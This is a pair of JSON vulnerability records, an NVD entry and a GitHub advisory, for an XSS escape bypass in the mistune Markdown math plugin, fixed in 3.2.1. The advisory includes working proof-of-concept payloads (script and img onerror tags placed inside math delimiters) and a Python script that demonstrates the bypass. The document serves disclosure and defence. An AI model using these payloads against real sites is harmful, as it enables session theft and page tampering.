              "matchCriteriaId": "A91629D7-7A30-4A3F-B1AD-17FE21D59820",
              "versionEndExcluding": "3.2.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1."
    },
    {
      "lang": "es",
      "value": "Mistune es un parser de Markdown en Python con renderizadores y plugins. Antes de la 3.2.1, el plugin de matem\u00e1ticas de mistune renderiza matem\u00e1ticas en l\u00ednea ($...$) y matem\u00e1ticas en bloque ($$...$$) concatenando el contenido bruto proporcionado por el usuario directamente en la salida HTML sin ning\u00fan escape HTML. Esto ocurre incluso cuando el parser se crea expl\u00edcitamente con escape=True, lo cual se supone que garantiza que todo el texto controlado por el usuario se sanitiza antes de llegar al DOM. Esta vulnerabilidad se corrige en la 3.2.1."
    }
  ],
  "id": "CVE-2026-44708",
  "lastModified": "2026-07-24T11:10:00.170",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44708",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-27T14:13:33.614272Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-26T21:16:38.527",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T23:40:04Z",
    "nvd_published_at": "2026-05-26T21:16:38Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer\u0027s `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input \u2014 no escape() call anywhere\n    return r\u0027\u003cspan class=\"math\"\u003e\\(\u0027 + text + r\"\\)\u003c/span\u003e\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return \u0027\u003cdiv class=\"math\"\u003e$$\\n\u0027 + text + \"\\n$$\u003c/div\u003e\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\u003cscript\u003e` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 the script tag is correctly escaped:\n```html\n\u003cp\u003e\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u003c/p\u003e\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 \u2014 Craft the exploit payload**\n\nWrap the identical `\u003cscript\u003e` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 \u2014 Observe the bypass**\n\nActual output \u2014 the script tag is emitted raw, unescaped:\n```html\n\u003cp\u003e\u003cspan class=\"math\"\u003e\\(\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\)\u003c/span\u003e\u003c/p\u003e\n```\n\nThe `\u003cscript\u003e` block is live inside the `\u003cspan class=\"math\"\u003e` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 \u2014 Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\n```\n\nOutput:\n```html\n\u003cdiv class=\"math\"\u003e$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\u003c/div\u003e\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True \u2014 HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH1 \u2014 Math XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH1 \u2014 Math Plugin XSS (escape=True bypass)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.\u003c/p\u003e\n{case(\"baseline\", \"Same HTML outside $...$  \u2014 escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   \u2014 escape=True bypassed\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim\u0027s browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.",
  "id": "GHSA-8g87-j6q8-g93x",
  "modified": "2026-06-08T23:30:19Z",
  "published": "2026-05-08T23:40:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44708"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Math Plugin has an XSS Escape Bypass"
}